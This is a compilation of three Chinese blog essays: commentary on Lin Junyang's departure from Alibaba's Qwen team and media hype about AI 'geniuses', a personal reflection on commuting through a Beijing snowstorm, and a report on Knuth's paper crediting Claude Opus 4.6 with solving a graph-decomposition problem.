林俊暘离职，在AI引起不小舆论，热议说明，Qwen开源模型影响力的确是大，全球独一份，林俊暘同学又刚刚被马斯克在X上点赞感谢过的，AI市场也确实是热。当然了，还有个原因是——AI领域竞争激烈，对手们盯得紧，推波助澜，乐见其成。大家在把林俊暘同学推上神坛，夸他的技术和勇气的时候，对阿里的“声讨”，倒是大可不必。林俊暘2019年加盟阿里巴巴达摩院，2022年任命为千问大模型（Qwen）负责人，直到2026年3月4日官宣离职。林俊暘同学对Qwen付出了心血，贡献了自己的才华和青春，这七年，阿里也是真金白银投入支持的，芯片、算力应该也不是天山掉下来的。现在的叙事中，林俊暘的离职，很容易就被带偏了，变成舆论对大公司的审判。从这两天的舆论来看，就是这样，大家好像只愿意看到“天才技术少年”的故事来解读，总觉得公司、平台、组织，都是邪恶的，这种情感投射，没有问题，毕竟大家都会看职场爽剧一样，以“打工人”、“职场牛马”的身份，带入其中。林俊暘的离职，很突然，影响力大，相信也是经过深思熟虑后的，一次正常且体面的告别。林俊暘可能会创业，可能会去其他公司，林同学少年成名，年少有为，有各种可能，阿里的AI呢，还会坚持开源模型策略，持续加大AI研发。林俊暘离职这件事，我是想到另外一点：AI圈，这两年的“技术天才”好像格外多。有点像是捅了“天才窝”一样。我们把时间线往回拨个十年，那时候的技术大牛长什么样？那是格子衬衫的天下，是发际线与代码行数成反比的时代。你见过的技术神人，大多缩在工位后面，桌上堆着红牛和老坛酸菜，唯一的时尚单品可能就是那副反光极强的厚眼镜。那时候，大家是“平台的螺丝钉”。再牛的架构师，在抖音面前，在阿里的双十一面前，在腾讯的社交帝国面前，也只是给老板张老师、马老师、马老板修补江山的“高级技工”。媒体要吹，也是吹公司战略，吹老板的远见卓识。但你再看现在的AI圈，那真是“乱花渐欲迷人眼”。现在的技术大牛，不，媒体塑造的都是“技术天才”们，不秃了，不土了，西装笔挺，发型精致，甚至还能上时尚杂志拍大片。人手一份海马体职业靓照。他们不仅懂算法，更懂运镜；不仅会调参数，更会调动粉丝情绪。技术大牛完成了从“幕后民工”到“台前爱豆”的华丽转身。比如，自媒体三表曾写过这么一段：“闫俊杰拥有一张碳水过盛的脸且上睑下垂，某科技媒体却在一篇文章里悍然写到：黑框眼镜背后是一对剑眉星目”。“技术天才”的叙事，是很简单的一个商业逻辑：在资本市场，一个“天才”的溢价，远高于一百个“资深工程师”。现在的“天才盛世”，其实是多方合力的“造神运动”。首先，是大公司的“人才诱捕器”。现在的AI大厂，缺的不是钱，是能让大家觉得“这公司有戏”的标志性人物。推一个“天才青年”出来，不仅能提升品牌格调，还能吸引更多想成为“天才二号”的年轻人。比如腾讯推姚顺雨，小米推AI天才少女罗福莉，本质上都是在做“雇主品牌营销”。潘乱就说，腾讯给姚顺雨做PR的力度「前所未见」，这家公司的性格就是尽量避免把人置于业务前面制造光环，但在AI行业「千金市马骨」的游戏规则下，腾讯也不得不随大流，用拔尖的年轻人来吸引更多优秀的年轻人。一代人有一代人的技术大牛，70后80后的技术大牛，习惯了做牛马，做螺丝钉，现在的“技术天才”，其实大都是90后，他们的确是不同以往的一代，也是整顿职场的90后吧。从某种意义上来说，“技术天才”是90后与AI碰撞结合体。其次是，AI圈的“英雄史观”，需要技术天才，就像“出埃及记”需要摩西一样。互联网时代讲的是规模，是烧钱，是地推。但AI时代讲的是“单点突破”。不管是ChatGPT还是DeepSeek，他们成功都被简化成了“一夜奔袭”，爽剧一般，现在的叙事逻辑是，只要一个天才灵光一现，就能跨越碳基与硅基的鸿沟。大家太渴望英雄了，于是媒体顺水推舟，把“技术大牛”直接打包成“旷世天才”。互联网是平台叙事，这技术大牛，再如何，也是平台的螺丝钉，平台的一部分，个体始终被平台光环所淹没了。现在的叙事，是AI，更像是硅基文明和碳基文明的对立了，面对AI，人类自骨子里的某种恐惧被激发了。技术天才，是摩西，也是先知。AI发展可能是替代人，AI让真人变得更稀缺，大家都在情不自住地呼唤英雄吧。“技术天才”泛滥成灾，说到底也是媒体的“叙事降级”。说实话，现在的很多AI垂直媒体，写技术原理没人看——太枯燥了，写行业分析没人懂——太复杂了，那怎么办？写人啊！老板不是都躲着害怕写自己嘛，那就写“少年成名”，写“顶级导师钦点”，写“改变世界”。这种好莱坞式的叙事成本最低，传播最广，也最能收割流量。把林俊暘、姚顺雨、闫俊杰、罗福莉他们推上神坛，有各种原因，大家乐意接纳这种“技术天才”叙事，除了他们确实厉害，故事很励志，但更多是因为大家对未来的不确定感产生了某种“偶像崇拜”。当大家意识到自己可能被AI取代时，潜意识里会去寻找那些能“驾驭AI”的超级人类，把他们当作避风港，当作希望。以上。

这几天北京交通不畅又遇到下大雪，打工人兄弟们上下班还好吗？刚开始下雪的时候，清晨出门还是小点点，到了中午左右就变成鹅毛大雪。晚上回家又下起来了，在站台等公交，又冷又湿，似乎比平时多等了很久。车厢里很拥挤，车窗白蒙蒙的，看不到外面。所有人伴随着刹车摇摇晃晃，握紧了扶手。下车时，要小心不要一脚踏进台阶边的污泥，大路上泥泞不堪，小路上的积雪一脚踩不到底，我深一脚浅一脚地往家走，偶尔被地面上错落的瓷砖滑一下，又赶紧收核心。没走几步，鞋和袜子很快就湿了。我们资深文艺青年，（听说现在文青都是骂人的话了？）最怕阴晴圆缺、下雨下雪。前几天元宵叠加红月亮，就已经抒发了一番感情，到了大雪纷纷扬扬的时节，不免又歌颂良辰美景不该辜负，要如何携手共度，如果身边没有现成的“受害者”，就难免会想起一些人和一些事。然而，此时此刻，在雪地里蹒跚前行，脚尖越来越冰凉，你就知道那些同淋雪共白头什么花里胡哨的……都不过是古老的传言。——现在只想快点回家。小区的门禁边站着一个外卖小哥，正在呼唤保安帮他开门，但保安不在岗亭内。我走过去说我来吧，小哥对我说谢谢。门一开，我们都看见了几十米外的保安师傅，他一手打着伞，但只遮住了小半边身子，另一只手拿着个大铁铲，正在清理道路。所以听不见外卖小哥的叫喊。清理开的路好走多了，外卖小哥甚至跑了两步，我走过这个年迈的师傅身边，对他说谢谢，您也小心点。我开门进家。暖气是热的，灯是亮的。水龙头有热水，微波炉发出叮的一声后，我开始就着电视剧吃晚饭。有时候人会觉得自己很惨很惨，工作不顺，稿子不过，交通堵塞，天气恶劣。却没看见有人驾驶公交、有人清理道路、有人送外卖、有人检修管道……但正是因为有这些人，才让我有时间矫情。当我扛不住的时候，我会找最好的朋友聊天。我们互相安慰的方式非常邪修，仗着一起长大和记性好的buff，她会拎出我N年前说过的话来激励现在的我。“当时你说布拉布拉，现在你还记得吗。”她又说，以前玩过的养成游戏，培养主角成长，每天上课打工，但这只是程序化内容，真正玩的是游戏中的“突发事件”，抽中彩票、被娱乐公司大老板选中、遇到了真命天子……甚至考砸了，被车撞了住院了，处理这些事件才是真正的在“玩游戏”。在游戏的世界里，达到一定级别和数值，才会触发事件。有突发事件，就比走流程好。那真实的世界里呢？怪不得现在一聚会，就听到各种鸡飞狗跳。情感、事业、家庭、孩子……朋友们各有各的辛酸，各有各的苦楚。是因为我们的级别和数值累积到这里了吗？我捧着热汤看着窗外的雪夜，再差还能差得过世界上都有地方打仗了吗？在动荡不安的互联网上刷到这两张图的时候，还是笑了，（图片来源于网络）这个勇闯艰难任务的现代镖人，和摆出困惑表情的“我吗？”其实都是我们自己啊。生活真的好难啊，这个“游戏”里的突发事件太多了。忙完这一阵，还有下一阵，过完这一关，还有下一关。有满怀希望的落空，有行差踏错的懊悔，还有来自身边人的背刺……身体好像有点不舒服，一看协和体检套餐七千起，又觉得自己应该没什么大问题。说要摆烂的你，到今天也没放弃。在深夜哭完以后，第二天洗把脸整理好发型，再若无其事地推开家门。keep going在漫长的思念和惊恐的等待尽头，会有好消息。以前看过的小说，也会读出新的领悟。（图片来源于网络）天亮了，北京继续下大雪，但道路已经不像前一晚那么难走。这几天有频繁的交通措施，叠加恶劣天气，想来打工人朋友们出行会更加艰难。但我们都没有就此认输。换上更厚的衣服穿上防水的鞋子勇敢地出门了。那就来战吧，鸡飞狗跳的世界。

昨天，计算机科学的活传奇、88岁的图灵奖得主Don Knuth，在自己的论文里正式感谢了一个AI。这篇论文标题是《Claude's Cycles》，开篇第一句是“Shock!Shock!”，发布于Knuth在斯坦福的个人主页，于2月28日写成，3月4日修订。Don Knuth，1938年出生，斯坦福大学荣誉教授，1974年图灵奖得主。他最著名的作品是《计算机程序设计艺术》，被誉为计算机科学的“圣经”。他老人家见证了整个计算机时代的诞生与成长，从早期计算机、算法理论、到互联网时代，他几乎参与或影响了所有重要阶段。Knuth对AI一向态度审慎。他曾公开表示，大语言模型在文本生成上令他印象深刻，但对于它能否胜任严格的数学推理，他持怀疑态度。三年前，他让研究生替他向ChatGPT提了20个问题，看完回答之后说到："It’s amazing how the confident tone lends credibility to all of that made-up nonsense."那种自信的语气，居然能让一堆编出来的胡话听上去像真的一样。现在Knuth居然会感谢AI？让这位见证整个计算机历史的老人改口的导火索，是一道数学题。Knuth研究了好几周。Claude只用了大约一小时。一个让Knuth卡住的数学问题Knuth正在为《计算机程序设计艺术》(TAOCP)写未来卷，越到了一个图论问题，卡了几个星期。TAOCP是计算机科学史上最重要的著作之一。Knuth从上世纪60年代开始写，到现在已经写了60年。比尔·盖茨曾经说过一句很出名的话：如果你能读完这套书，一定给我发简历。问题涉及将有向图分解为哈密顿环，问题本身其实可以讲得很直观，通俗地说:想象一个三维的“环形网格”，空间里有m x m x m个格子。从每个格子可以往三个方向移动，走到边界时，地图会绕回来(从右边出去，会从左边出现；从上面出去，会从下面回来)。就像一个三维版的吃豆人地图。挑战是:能不能找到三条路线，每条恰好经过所有m^3个格子各一次(形成闭合环)，而且三条路线走的“道路”完全不重叠，恰好把全部3 x m^3条道路用完?拿最小的有效情况m=3举例:27个格子、81条有向边，要精确分解成三条27步的闭合路径。每条路走遍全部27个格子，三条路合起来刚好覆盖全部81条边，不重不漏。老爷子自己搞定了m=3，他的朋友Filip Stappers写程序暴力验证了最大到16×16×16的网格，但始终找不到一个适用于任意奇数维度的通用构造方法。Claude的一小时科研之旅这时候，Filip决定试试AI，他把问题原封不动甩给了Claude Opus 4.6，要求它每次跑完实验必须更新进度文档。Claude Opus 4.6，在大约一小时内，进行了31次有引导的探索。Claude测试了线性公式，尝试了暴力搜索，建立了新的几何框架，运用了模拟退火算法，碰壁，转换策略，持续推进。Claude还发明了它自己命名的“蛇形（serpentine）模式”。关键的转折。第三十步时，Claude回头翻看了一下之前那些弃用的模拟退火结果，然后从那堆“失败品”里提取出了一个隐藏规律:在每一“层”（按i+j+k的余数分组）里面，选择走哪个方向这件事，不需要看所有三个坐标的组合，只看其中一个就够了。这让规则变得极其简洁，在第31次探索时找到了适用于所有奇数情形的构造方案。Knuth看到第3步的时候忍不住在论文里写了句"This is really impressive!"，要知道这个老爷子可是出了名的吝啬赞美，找到他书里一个错误只给你2.56美元。。Claude给出的解法长什么样?Knuth在论文里把Claude的Python程序简化成了一段优雅的C代码:s=(i+j+k)%m;if(s==0)d=(j==m-1?"012":"210");elseif(s==m-1)d=(i==0?"210":"120");elsed=(i==m-1?"201":"102");先算一个值s=(i+j+k)mod m，然后根据s决定三条路径各走哪个方向:s=0时:j到头了就走i方向，否则走k方向s=m-1时:i>0就走j方向，否则走k方向其他情况:i到头了就走k方向，否则走j方向Filip验证了所有奇数m从3到101，全部完美通过。Claude找到了构造方法，老爷子继续完成了严格证明。他先证明这个构造对所有奇数m>1都成立，然后继续深入研究结构，发现Claude找到的解法其实属于一个更大的家族。说白了就是，Claude用的那套“根据s的值来分配方向”的逻辑框架，在规则细节上还有很多种变体，每一种变体对所有奇数m也同样成立。最终统计结果是：共有760种“Claude式分解”具有同样性质。Claude找到的是其中一类，但它打开了整扇门。后续更精彩:，GPT解了另一半证明完成之后，Filip继续让Claude研究偶数m的情况。Claude这次干了大约4小时，但结果却越来越诡异。日志里最后写道:“它甚至无法正确编写和运行探索程序了。”Filip只好停止实验。几天后，新加坡研究者Ho Boon Suan用GPT-5.3-codex构造出了偶数情况的方案，程序验证了m=8到2000的所有偶数。m=2000的时候，这图有80亿个顶点。Claude解奇数，GPT解偶数。Knuth把两个程序都放在了斯坦福官网上。两个AI各解半题，这个画面还挺有意思的。再回想开篇的两个震惊！震惊！我估计，老爷子这次是真的激动了。“Shock!Shock!我昨天得知，一个我研究了好几周的问题，刚刚被Claude Opus 4.6解决了!”"I think Claude Shannon's spirit is probably proud to know that his name is now being associated with such advances.Hats off to Claude!"我想Claude Shannon的在天之灵大概会很自豪，知道他的名字现在与这样的进步联系在一起。向Claude致敬!Claude Shannon，信息论之父，也叫Claude。AI也叫Claude。一语双关，致敬两个Claude。88岁老爷子的文字功底，可以的。"It seems that I'll have to revise my opinions about'generative AI'one of these days."看来我得找个时间修正一下我对'生成式AI'的看法了。三年前说AI“让胡话听上去像真的”，三年后说要修正自己的看法。这个态度弧线，来自一位见证了计算机全部历史的88岁科学家，恐怕是过去三年里AI进步最有分量的一个注脚。当然，Knuth也坦诚记录了Claude的各种毛病：会随机报错需要重启，要反复提醒才肯好好写文档，也就是Claude全程需要人类引导。偶数情况做了4小时最后连程序都写不对了。成功和失败都写进了论文，没有夸大没有掩饰。一位88岁的计算机科学家，用他惯有的严谨和诚实，完整记录下AI第一次真正让他震惊的时刻。Donald E.Knuth,"Claude's Cycles",Stanford CS,2026年2月28日(修订3月4日)https://www-cs-faculty.stanford.edu/~knuth/papers/claude-cycles.pdf偶数解法程序:cs.stanford.edu/~knuth/even_closed_form.c(GPT-5.3-codex)偶数解法程序:cs.stanford.edu/~knuth/even_solution.py(Claude Opus 4.6)